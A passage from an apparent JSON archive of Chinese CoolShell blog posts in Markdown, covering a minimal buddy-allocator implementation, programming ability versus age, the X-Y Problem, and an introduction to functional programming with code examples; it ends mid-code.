unsigned size;\n  unsigned longest[1];\n};\n```\n\n这里的成员size表明管理内存的总单元数目（测试用例中是32），成员longest就是二叉树的节点标记，表明所对应的内存块的空闲单位，**在下文中会分析这是整个算法中最精妙的设计。**此处数组大小为1表明这是可以向后扩展的（注：在GCC环境下你可以写成longest[0]，不占用空间，这里是出于可移植性考虑），我们在分配器初始化的buddy2\\_new可以看到这种用法。\n\n\n\n```\nstruct buddy2* buddy2_new( int size ) {\n  struct buddy2* self;\n  unsigned node_size;\n  int i;\n\n  if (size < 1 || !IS_POWER_OF_2(size))\n    return NULL;\n\n  self = (struct buddy2*)ALLOC( 2 * size * sizeof(unsigned));\n  self->size = size;\n  node_size = size * 2;\n\n  for (i = 0; i < 2 * size - 1; ++i) {\n    if (IS_POWER_OF_2(i+1))\n      node_size /= 2;\n    self->longest[i] = node_size;\n  }\n  return self;\n}\n```\n\n整个分配器的大小就是满二叉树节点数目，即所需管理内存单元数目的2倍。一个节点对应4个字节，longest记录了节点所对应的的内存块大小。\n\n\n内存分配的alloc中，入参是分配器指针和需要分配的大小，返回值是内存块索引。alloc函数首先将size调整到2的幂大小，并检查是否超过最大限度。然后进行适配搜索，深度优先遍历，当找到对应节点后，**将其longest标记为0，即分离适配的块出来，**并转换为内存块索引offset返回，依据二叉树排列序号，比如内存总体大小32，我们找到节点下标[8]，内存块对应大小是4，则offset = (8+1)\\*4-32 = 4，那么分配内存块就从索引4开始往后4个单位。\n\n\n\n```\nint buddy2_alloc(struct buddy2* self, int size) {\n  unsigned index = 0;\n  unsigned node_size;\n  unsigned offset = 0;\n\n  if (self==NULL)\n    return -1;\n\n  if (size <= 0)\n    size = 1;\n  else if (!IS_POWER_OF_2(size))\n    size = fixsize(size);\n\n  if (self->longest[index] < size)\n    return -1;\n\n  for(node_size = self->size; node_size != size; node_size /= 2 ) {\n    if (self->longest[LEFT_LEAF(index)] >= size)\n      index = LEFT_LEAF(index);\n    else\n      index = RIGHT_LEAF(index);\n  }\n\n  self->longest[index] = 0;\n  offset = (index + 1) * node_size - self->size;\n\n  while (index) {\n    index = PARENT(index);\n    self->longest[index] =\n      MAX(self->longest[LEFT_LEAF(index)], self->longest[RIGHT_LEAF(index)]);\n  }\n\n  return offset;\n}\n```\n\n在函数返回之前需要回溯，因为小块内存被占用，大块就不能分配了，比如下标[8]标记为0分离出来，那么其父节点下标[0]、[1]、[3]也需要相应大小的分离。**将它们的longest进行折扣计算，取左右子树较大值，**下标[3]取4，下标[1]取8，下标[0]取16，表明其对应的最大空闲值。\n\n\n在内存释放的free接口，我们只要传入之前分配的内存地址索引，并确保它是有效值。之后就跟alloc做反向回溯，从最后的节点开始一直往上找到longest为0的节点，即当初分配块所适配的大小和位置。**我们将longest恢复到原来满状态的值。继续向上回溯，检查是否存在合并的块，依据就是左右子树longest的值相加是否等于原空闲块满状态的大小，如果能够合并，就将父节点longest标记为相加的和**（多么简单！）。\n\n\n\n```\nvoid buddy2_free(struct buddy2* self, int offset) {\n  unsigned node_size, index = 0;\n  unsigned left_longest, right_longest;\n\n  assert(self && offset >= 0 && offset < size);\n\n  node_size = 1;\n  index = offset + self->size - 1;\n\n  for (; self->longest[index] ; index = PARENT(index)) {\n    node_size *= 2;\n    if (index == 0)\n      return;\n  }\n\n  self->longest[index] = node_size;\n\n  while (index) {\n    index = PARENT(index);\n    node_size *= 2;\n\n    left_longest = self->longest[LEFT_LEAF(index)];\n    right_longest = self->longest[RIGHT_LEAF(index)];\n\n    if (left_longest + right_longest == node_size)\n      self->longest[index] = node_size;\n    else\n      self->longest[index] = MAX(left_longest, right_longest);\n  }\n}\n```\n\n上面两个成对alloc/free接口的时间复杂度都是O(logN)，保证了程序运行性能。然而这段程序设计的独特之处就在于**使用加权来标记内存空闲状态，而不是一般的有限状态机，实际上longest既可以表示权重又可以表示状态，状态机就毫无必要了，所谓“少即是多”嘛！**反观cloudwu的实现，将节点标记为UNUSED/USED/SPLIT/FULL四个状态机，反而会带来额外的条件判断和管理实现，而且还不如数值那样精确。从逻辑流程上看，wuwenbin的实现简洁明了如同教科书一般，特别是左右子树的走向，内存块的分离合并，块索引到节点下标的转换都是一步到位，不像cloudwu充斥了大量二叉树的深度和长度的间接计算，让代码变得晦涩难读，这些都是longest的功劳。**一个“极简”的设计往往在于你想不到的突破常规思维的地方。**\n\n\n这份代码唯一的缺陷就是longest的大小是4字节，内存消耗大。但[cloudwu的博客](http://blog.codingnow.com/2011/12/buddy_memory_allocation.html)上有人提议用logN来保存值，这样就能实现uint8\\_t大小了，**看，又是一个“极简”的设计！**\n\n\n说实话，很难在网上找到比这更简约更优雅的buddy system实现了——至少在Google上如此。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/9886.html)[二叉树迭代器算法](https://coolshell.cn/articles/9886.html)\nThe post [伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-11-13 编程能力与编程年龄.md",
    "content": "---\nlayout: post\ntitle: 编程能力与编程年龄\ndate: 2013/11/13/ 0:21:45\nupdated: 2013/11/13/ 0:21:45\nstatus: publish\npublished: true\ntype: post\n---\n\n程序员这个职业究竟可以干多少年，在中国这片神奇的土地上，很多人都说只能干到30岁，然后就需要转型，就像《[程序员技术练级攻略](https://coolshell.cn/articles/4990.html \"程序员技术练级攻略 - 354,806 人阅读\")》这篇文章很多人回复到这种玩法会玩死人的一样。我在很多面试中，问到应聘者未来的规划都能听到好些应聘都说程序员是个青春饭。因为，大多数程序员都认为，编程这个事只能干到30岁，最多35岁吧。每每我听到这样的言论，都让我感到相当的无语，大家都希望能像《[21天速成C++](https://coolshell.cn/articles/2250.html \"“21天教你学会C++”\")》那样速成，好多时候超级有想和他们争论的冲动，但后来想想算了，因为**你无法帮助那些只想呆在井底思维封闭而且想走捷径速成的人**。\n\n\n今天，我们又来谈这个老话题，因为我看到一篇论文，但是也一定会有很多人都会找出各种理由来论证这篇论文的是错的，无所谓了，我把这篇文章送给那些和我一样准备为技术和编程执着和坚持的人。\n\n\n#### 论文\n\n\n首先，我们先来看一篇论文《[Is Programming Knowledge Related to Age?](http://people.engr.ncsu.edu/ermurph3/papers/msr13.pdf)》（PDF链接），这篇论文是两个北卡罗莱纳州立大学计算机科学系的两个人Patrick Morrison 和 Emerson Murphy-Hill 对StackOverflow.com上的用户做了相关的数据挖掘得出来的一些数据。（我们知道StackOverflow.com上的数据是公开的，任何人都可以用来分析和统计，所以这篇论文的真实性是有的）\n\n\n数据采样和清洗条件如下：（数据全量是1694981用户，平均年龄30.3岁）\n\n\n* 15-70岁之间的用户（这年龄段的用户被称做“Working age”），当然，有很多用户没有输入年龄，这些用户都被过滤了。\n* 用户在2012年内都回答过问题。因为StackOverflow在2012年对问题和答案的质量要求得比以前高了一倍，所以更能反映程序员的真实水平。\n* Reputation声望在2-100K之间。（注：StackOverflow的用户Reputation是得到社会认可的，在面试和招聘中是硬通货币。比大学的学分更有价值）\n\n\n上述的条件一共过滤出84,248名程序员，平均年龄：29.02岁，平均Reputaion在1073.9分。\n\n\n\n##### 年龄分布图\n\n\n下面我们来看一下他们的年龄分布图：我们可以看到程序员年纪的正态分布（高点在25岁左右，但是中点在29岁左右）\n\n\n![](../wp-content/uploads/2013/11/StackOverflow-Analysis-01.jpg)\n\n\n##### 能力和年龄分布图\n\n\n然后，计算每个人每个月的Reputation，这样可以找到这个用户的真正的活跃时间，这样便于计算这个程序员的真实能力。（总声望 / 活跃时间），可以得到他平均每个月得来的Reputation。\n\n\n我们来看看程序员的能力和年龄段的分布图：（你可能会大吃一惊）\n\n\n![](../wp-content/uploads/2013/11/StackOverflow-Analysis-02.jpg)\n\n\n上图中我们可以看到，程序员的能力在从25岁左右开始上升，一直到50岁后才会开始下降。所以说，程序员吃的不是青春饭。只有码农，靠蛮力，用体力而不是用脑力的程序员才是吃青春饭的人。\n\n\n##### 年纪大的人是否跟不上新技术\n\n\n论文的作者分析了Tag，用了最近5年内比较流行的技术Tag，然后用了一套比较严谨的算法来查看那些所谓的“老程序员”是否在新技术上跟上不了，所谓跟不上，也就是这些老的程序员在回答这些新技术上并不活跃。所谓老，就是37岁以上的程序员（就是我现在的年纪）。\n\n\n得到了下表：可以看到，老程序员和年轻的程序员对于一些新技术的学习来说也是差不多的，甚至有些项还超过了年轻的程序员。\n\n\n![](../wp-content/uploads/2013/11/StackOverflow-Analysis-03.jpg)\n\n\n##### 结论\n\n\n论文的结论是：\n\n\n**1）程序员技术能力上升是可以到50岁或60岁的。**\n\n\n**2）老程序员在获取新技术上的能力并不比年轻的程序员差。**\n\n\n#### 我的一些感受\n\n\n最后，我说一说我的一些感受：\n\n\n* 这些年来的对于外企和国内感受—— **国外牛B的IT公司的工程能力并不见得比国内的要强多少，但是国外那些NB的IT公司的架构和设计能力远远超过国内的公司，最可怕的是，那些有超强架构和设计能力的“老程序员们”还战斗在一线，这些战斗在一线的老鸟的能力绝对超过100个普能的新手。**\n\n\n* 对年轻程序员的感受——国内新一代的程序员们太浮燥了。**老实说，对于大多数人来说，如果你没有编程到30岁，你还不能成为一个“合格”的程序员**。**所以，并不是编程编到30岁就玩完了，而是编程编到30岁才刚刚入门。**这些不合格的程序，整天BS这个不好，那个不好的，而且喜欢速成，好大喜功。\n\n\n* 我是一个奔四的人了，编程就像登山一样，越往上爬人越少，所以，在我这个年纪还有想法，对编程还有热情的人不多了，基本上都是转Manager了。**其实，什么职位，Title都是虚的，公司没了什么都没了，只有技术才是硬通货。而且，越是这个年纪还在玩编程玩技术的人，其实其经验和能力都是比较强的，都是中坚力量，如果还有其它这个年纪和我一样的人，求交往**。\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [编程能力与编程年龄](https://coolshell.cn/articles/10688.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-12-16 X-Y Problem.md",
    "content": "---\nlayout: post\ntitle: X-Y Problem\ndate: 2013/12/16/ 2:22:37\nupdated: 2013/12/16/ 2:22:37\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### X-Y Problem\n\n\n对于X-Y Problem的意思如下：\n\n\n1）有人想解决问题X  \n\n2）他觉得Y可能是解决X问题的方法  \n\n3）但是他不知道Y应该怎么做  \n\n4）于是他去问别人Y应该怎么做？\n\n\n简而言之，**没有去问怎么解决问题X，而是去问解决方案Y应该怎么去实现和操作**。于是乎：\n\n\n1）热心的人们帮助并告诉这个人Y应该怎么搞，但是大家都觉得Y这个方案有点怪异。  \n\n2）在经过大量地讨论和浪费了大量的时间后，热心的人终于明白了原始的问题X是怎么一回事。  \n\n3）于是大家都发现，Y根本就不是用来解决X的合适的方案。\n\n\nX-Y Problem最大的严重的问题就是：**在一个根本错误的方向上浪费他人大量的时间和精力**！\n\n\n#### 示例\n\n\n举个两个例子：\n\n\n\n> Q) 我怎么用Shell取得一个字符串的后3位字符？  \n> \n> A1) 如果这个字符的变量是$foo，你可以这样来 echo ${foo:-3}  \n> \n> A2) 为什么你要取后3位？你想干什么？  \n> \n> Q) 其实我就想取文件的扩展名  \n> \n> A1) 我靠，原来你要干这事，那我的方法不对，文件的扩展名并不保证一定有3位啊。  \n> \n> A1) 如果你的文件必然有扩展名的话，你可以这来样来：echo ${foo##\\*.}\n> \n> \n\n\n\n再来一个示例：\n\n\n\n> Q）问一下大家，我如何得到一个文件的大小  \n> \n> A1)  size = `ls -l $file  | awk '{print $5}'`  \n> \n> Q) 哦，要是这个文件名是个目录呢？  \n> \n> A2) 用du吧  \n> \n> A3) 不好意思，你到底是要文件的大小还是目录的大小？你到底要干什么？  \n> \n> Q)  我想把一个目录下的每个文件的每个块（第一个块有512个字节）拿出来做md5，并且计算他们的大小 ……  \n> \n> A1) 哦，你可以使用dd吧。  \n> \n> A2) dd不行吧。  \n> \n> A3) 你用md5来计算这些块的目的是什么？你究竟想干什么啊？  \n> \n> Q) 其实，我想写一个网盘，对于小文件就直接传输了，对于大文件我想分块做增量同步。  \n> \n> A2) 用rsync啊，你妹！\n> \n> \n\n\n[这里有篇文章](http://www.perlmonks.org/index.pl?node_id=542341)说明了X-Y Problem的各种案例说明，我从其中摘出三个来让大家看看：\n\n\n\n> 你试图做X，并想到了用Y方案。所以你去问别人Y，但根本不提X。于是，你可以会错过本来可能有更好更适合的方案，除非你告诉大家X是什么。\n> \n> \n> — *from [Re: How do I keep the command line from eating the backslashes?](http://www.perlmonks.org/index.pl?node_id=430320) by [revdiablo](http://www.perlmonks.org/index.pl?node_id=163683)*\n> \n> \n\n\n\n> 有些人问怎么做Y，但其它他想做的是X。他问怎么做Y是因为他觉得Y是最好搞定X的方法。 于是大家不断地回答“试试这个，试试那个”来帮助他，而他总是在说“这个有问题，那个有问题，因为……”。基本不同的情况，其它的方案可能会更好。\n> \n> \n> — *from [Re: Re: Re: Re: regex to validate e-mail addresses and phone numbers](http://www.perlmonks.org/index.pl?node_id=327963) by [Limbic~Region](http://www.perlmonks.org/index.pl?node_id=180961)*\n> \n> \n\n\n\n> X-Y Problem又叫“过早下结论”：提问者其实并不非常清楚想要解决的X问题，他猜测用Y可以搞定，于是他问大家如何实现Y。\n> \n> \n> — *from [<Pine.GHP.4.21.0009061210570.8800-100000@hpplus03.cern.ch>](http://groups.google.com/groups?hl=en&selm=Pine.GHP.4.21.0009061210570.8800-100000@hpplus03.cern.ch) by Alan J. Flavell*\n> \n> \n\n\n其实这个问题在我之前的《[你会问问题吗](https://coolshell.cn/articles/3713.html \"你会问问题吗？\")》里提到的那篇How To Ask Questions the Smart Way中的提到过，你可以[移步去看一下](http://www.beiww.com/doc/oss/smart-questions.html#id265951)。\n\n\n所以，我们在寻求别人帮助的时候，最好把我们想解决的问题和整个事情的来龙去脉说清楚。\n\n\n#### 一些变种\n\n\n我们不要以为X-Y Problem就像上面那样的简单，我们不会出现，其实我们生活的这个世界有有各种X-Y Problem的变种。下面我个人觉得非常像XY Problem的总是：\n\n\n其一、大多数人有时候，非常容易把手段当目的，他们会用自己所喜欢的技术和方法来反推用户的需求，于是很有可能就会出现X-Y Problem – 也许解决用户需求最适合的技术方案是PC，但是我们要让他们用手机。\n\n\n其二、产品经理有时候并不清楚他想解决的用户需求是什么，于是他觉得可能开发Y的功能能够满足用户，于是他提出了Y的需求让技术人员去做，但那根本不是解决X问题的最佳方案。\n\n\n其三、因为公司或部门的一些战略安排，业务部门设计了相关的业务规划，然后这些业务规划更多的是公司想要的Y，而不是解决用户的X问题。\n\n\n其四、对于个人的职业发展，X是成长为有更强的技能和能力，这个可以拥有比别人更强的竞争力，从而可以有更好的报酬，但确走向了Y：全身心地追逐KPI。\n\n\n其五、本来我们想达成的X是做出更好和更有价值的产品，但最终走到了Y：通过各种手段提升安装量，点击量，在线量，用户量来衡量。\n\n\n其六、很多团队Leader都喜欢制造信息不平等，并不告诉团队某个事情的来由，掩盖X，而直接把要做的Y告诉团队，导致团队并不真正地理解，而产生了很多时间和经历的浪费。\n\n\n所有的这些，在我心中都是X-Y Problem的变种，这是不是一种刻舟求剑的表现？\n\n\n#### 参考\n\n\n* [StackOverflow: What is XY Problem?](http://meta.stackoverflow.com/questions/66377/what-is-the-xy-problem)\n* [PerlMonks: XY Problem](http://www.perlmonks.org/?node_id=542341)\n* [Greg’s Wiki](http://mywiki.wooledge.org/XyProblem)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3713.html)[你会问问题吗？](https://coolshell.cn/articles/3713.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\nThe post [X-Y Problem](https://coolshell.cn/articles/10804.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-12-27 函数式编程.md",
    "content": "---\nlayout: post\ntitle: 函数式编程\ndate: 2013/12/27/ 0:11:3\nupdated: 2013/12/27/ 0:11:3\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/12/yoda-lambda-204x300.png)当我们说起函数式编程来说，我们会看到如下函数式编程的长相：\n\n\n* 函数式编程的三大特性：\n\t+ **immutable data 不可变数据**：像Clojure一样，默认上变量是不可变的，如果你要改变变量，你需要把变量copy出去修改。这样一来，可以让你的程序少很多Bug。因为，程序中的状态不好维护，在并发的时候更不好维护。（你可以试想一下如果你的程序有个复杂的状态，当以后别人改你代码的时候，是很容易出bug的，在并行中这样的问题就更多了）\n\t+ **first class functions**：这个技术可以让你的函数就像变量一样来使用。也就是说，你的函数可以像变量一样被创建，修改，并当成变量一样传递，返回或是在函数中嵌套函数。这个有点像Javascript的Prototype（参看[Javascript的面向对象编程](https://coolshell.cn/articles/6668.html \"再谈javascript面向对象编程\")）\n\t+ **尾递归优化**：我们知道递归的害处，那就是如果递归很深的话，stack受不了，并会导致性能大幅度下降。所以，我们使用尾递归优化技术——每次递归时都会重用stack，这样一来能够提升性能，当然，这需要语言或编译器的支持。Python就不支持。\n\n\n* 函数式编程的几个技术\n\t+ **map & reduce** ：这个技术不用多说了，函数式编程最常见的技术就是对一个集合做Map和Reduce操作。这比起过程式的语言来说，在代码上要更容易阅读。（传统过程式的语言需要使用for/while循环，然后在各种变量中把数据倒过来倒过去的）这个很像C++中的STL中的foreach，find\\_if，count\\_if之流的函数的玩法。\n\t+ **pipeline**：这个技术的意思是，把函数实例成一个一个的action，然后，把一组action放到一个数组或是列表中，然后把数据传给这个action list，数据就像一个pipeline一样顺序地被各个函数所操作，最终得到我们想要的结果。\n\t+ **recursing 递归** ：递归最大的好处就简化代码，他可以把一个复杂的问题用很简单的代码描述出来。注意：递归的精髓是描述问题，而这正是函数式编程的精髓。\n\t+ **currying**：把一个函数的多个参数分解成多个函数， 然后把函数多层封装起来，每层函数都返回一个函数去接收下一个参数这样，可以简化函数的多个参数。在C++中，这个很像STL中的bind\\_1st或是bind2nd。\n\t+ **higher order function 高阶函数**：所谓高阶函数就是函数当参数，把传入的函数做一个封装，然后返回这个封装函数。现象上就是函数传进传出，就像面向对象对象满天飞一样。\n\n\n\n* 还有函数式的一些好处\n\t+ **parallelization 并行：**所谓并行的意思就是在并行环境下，各个线程之间不需要同步或互斥。\n\t+ **lazy evaluation 惰性求值**：这个需要编译器的支持。表达式不在它被绑定到变量之后就立即求值，而是在该值被取用的时候求值，也就是说，语句如*x:=expression;* (把一个表达式的结果赋值给一个变量)明显的调用这个表达式被计算并把结果放置到 *x* 中，但是先不管实际在 *x* 中的是什么，直到通过后面的表达式中到 *x* 的引用而有了对它的值的需求的时候，而后面表达式自身的求值也可以被延迟，最终为了生成让外界看到的某个符号而计算这个快速增长的依赖树。\n\t+ **determinism 确定性**：所谓确定性的意思就是像数学那样 f(x) = y ，这个函数无论在什么场景下，都会得到同样的结果，这个我们称之为函数的确定性。而不是像程序中的很多函数那样，同一个参数，却会在不同的场景下计算出不同的结果。所谓不同的场景的意思就是我们的函数会根据一些运行中的状态信息的不同而发生变化。\n\n\n上面的那些东西太抽象了，还是让我们来循序渐近地看一些例子吧。\n\n\n我们先用一个最简单的例子来说明一下什么是函数式编程。\n\n\n先看一个非函数式的例子：\n\n\n\n```\nint cnt;\nvoid increment(){\n    cnt++;\n}\n```\n\n \n\n\n那么，函数式的应该怎么写呢？\n\n\n\n```\nint increment(int cnt){\n    return cnt+1;\n}\n```\n\n你可能会觉得这个例子太普通了。是的，这个例子就是函数式编程的准则：**不依赖于外部的数据，而且也不改变外部数据的值，而是返回一个新的值给你**。\n\n\n我们再来看一个简单例子：\n\n\n\n```\ndef inc(x):\n    def incx(y):\n        return x+y\n    return incx\n\ninc2 = inc(2)\ninc5 = inc(5)\n\nprint inc2(5) # 输出 7\nprint inc5(5) # 输出 10\n```\n\n我们可以看到上面那个例子inc()函数返回了另一个函数incx()，于是我们可以用inc()函数来构造各种版本的inc函数，比如：inc2()和inc5()。这个技术其实就是上面所说的Currying技术。从这个技术上，你可能体会到函数式编程的理念：**把函数当成变量来用，关注于描述问题而不是怎么实现**，这样可以让代码更易读。\n\n\n#### Map & Reduce\n\n\n在函数式编程中，我们不应该用循环迭代的方式，我们应该用更为高级的方法，如下所示的Python代码\n\n\n\n```\nname_len = map(len, [\"hao\", \"chen\", \"coolshell\"])\nprint name_len\n# 输出 [3, 4, 9]\n```\n\n你可以看到这样的代码很易读，因为，**这样的代码是在描述要干什么，而不是怎么干**。\n\n\n我们再来看一个Python代码的例子：\n\n\n\n```\ndef toUpper(item):\nreturn item.upper()\n\nupper_name = map(toUpper, [\"hao\", \"chen\", \"coolshell\"])\nprint upper_name\n# 输出 ['HAO', 'CHEN', 'COOLSHELL']\n```\n\n顺便说一下，上面的例子个是不是和我们的STL的transform有些像？\n\n\n\n```\n#include <iostream>\n#include <algorithm>\n#include <string>\nusing namespace std;\n\nint main() {\n    string s=\"hello\";\n    string out;\n    transform(s.begin(), s.end(), back_inserter(out), ::toupper);\n    cout << out << endl;\n    // 输出：HELLO\n}\n```\n\n在上面Python的那个例子中我们可以看到，我们写义了一个函数toUpper，这个函数没有改变传进来的值，只是把传进来的值做个简单的操作，然后返回。然后，我们把其用在map函数中，就可以很清楚地描述出我们想要干什么。而不会去理解一个在循环中的怎么实现的代码，最终在读了很多循环的逻辑后才发现原来是这个或那个意思。 下面，我们看看描述实现方法的过程式编程是怎么玩的（看上去是不是不如函数式的清晰？）：\n\n\n\n```\nupname =['HAO', 'CHEN', 'COOLSHELL']\nlowname =[]\nfor i in range(len(upname)):\nlowname.append( upname[i].lower() )\n```\n\n对于map我们别忘了lambda表达式：你可以简单地理解为这是一个inline的匿名函数。下面的lambda表达式相当于：def func(x): return x\\*x\n\n\n\n```\nsquares = map(lambda x: x * x, range(9))\nprint squares\n# 输出 [0, 1, 4, 9, 16, 25, 36, 49, 64]\n```\n\n我们再来看看reduce怎么玩？（下面的lambda表达式中有两个参数，也就是说每次从列表中取两个值，计算结果后把这个值再放回去，下面的表达式相当于：`((((1+2)+3)+4)+5) ）`\n\n\n\n```\nprint reduce(lambda x, y: x+y, [1, 2, 3, 4, 5])\n# 输出 15\n```\n\nPython中的除了map和reduce外，还有一些别的如filter, find, all, any的函数做辅助（其它函数式的语言也有），可以让你的代码更简洁，更易读。 我们再来看一个比较复杂的例子：\n\n\n\n```\n# 计算数组中正数的平均值\",\nnum =[2, -5, 9, 7, -2, 5, 3, 1, 0, -3, 8]\npositive_num_cnt = 0\npositive_num_sum = 0\nfor i in range(len(num)):\n    if num[i] > 0:\n        positive_num_cnt += 1\n        positive_num_sum += num[i]\n\nif positive_num_cnt > 0:\n    average = positive_num_sum / positive_num_cnt\n\nprint average\n# 输出 5\n```\n\n如果用函数式编程，这个例子可以写成这样：\n\n\n\n```\npositive_num = filter(lambda x: x>0, num)\naverage = reduce(lambda x,y: x+y, positive_num) / len( positive_num )\n```\n\nC++11玩的法：\n\n\n\n```\n#include <iostream>\n#include <algorithm>\n#include <numeric>\n#include <string>\n#include <vector>\nusing namespace std;\n\nvector num {2, -5, 9, 7, -2, 5, 3, 1, 0, -3, 8};\nvector p_num;\ncopy_if(num.begin(), num.end(), back_inserter(p_num), [](int i){ return (i>0);} );\nint average = accumulate(p_num.begin(), p_num.end(), 0) / p_num.size();\ncout << \"averge: \" << average << endl;\n```\n\n我们可以看到，函数式编程有如下好处：\n\n\n1）代码更简单了。  \n\n2）数据集，操作，返回值都放到了一起。  \n\n3）你在读代码的时候，没有了循环体，于是就可以少了些临时变量，以及变量倒来倒去逻辑。  \n\n4）你的代码变成了在描述你要干什么，而不是怎么去干。\n\n\n最后，我们来看一下Map/Reduce这样的函数是怎么来实现的（下面是Javascript代码）\n\n\n\n```\n//map函数\nvar map = function (mappingFunction, list) {\n    var result = [];\n    forEach(list, function (item) {\n        result.push(mappingFunction(item));\n    });\n    return result;\n};\n```\n\n下面是reduce函数的javascript实现（谢谢 [@下雨在家](http://weibo.com/u/1772898707) 修正的我原来的简单版本）\n\n\n\n```\n//reduce函数\nfunction reduce(actionFunction, list, initial){\n    var accumulate;\n    var temp;\n    if(initial){\n        accumulate = initial;\n    }else{\n        accumulate = list.shfit();\n    }\n    temp = list.shift();\n    while(temp){\n        accumulate = actionFunction(accumulate,temp);\n        temp = list.shift();\n    }\n    return accumulate;\n};\n```\n\n#### Declarative Programming vs Imperative Programming\n\n\n前面提到过多次的函数式编程关注的是：describe what to do, rather than how to do it. 于是，我们把以前的过程式的编程范式叫做 [Imperative Programming](http://en.wikipedia.org/wiki/Imperative_programming) – 指令式编程，而把函数式的这种范式叫做 [Declarative Programming](http://en.wikipedia.org/wiki/Declarative_programming) – 声明式编程。\n\n\n下面我们看一下相关的示例（本示例来自[这篇文章](http://maryrosecook.com/post/a-practical-introduction-to-functional-programming) ）。\n\n\n比如，我们有3辆车比赛，简单起见，我们分别给这3辆车有70%的概率可以往前走一步，一共有5次机会，我们打出每一次这3辆车的前行状态。\n\n\n对于Imperative Programming来说，代码如下（Python）：\n\n\n\n```\nfrom random import random\n\ntime = 5\ncar_positions = [1, 1, 1]\n\nwhile time:\n    # decrease time\n    time -= 1\n\n    print ''\n    for i in range(len(car_positions)):\n        # move car\n        if random() > 0.3:\n            car_positions[i] += 1\n\n        # draw car\n        print '-' * car_positions[i]\n```\n\n我们可以把这个两重循环变成一些函数模块，这样有利于我们更容易地阅读代码：\n\n\n\n```\nfrom random import random\ndef move_cars():\n    for i, _ in enumerate(car_positions):\n        if random() > 0.3:\n            car_positions[i] += 1\ndef draw_car(car_position):\n    print '-' * car_position\ndef run_step_of_race():\n    global time\n    time -= 1\n    move_cars()\ndef draw():\n    print ''\n    for car_position in car_positions:\n        draw_car(car_position)\ntime = 5\ncar_positions = [1, 1, 1]\nwhile time:\n    run_step_of_race()\n    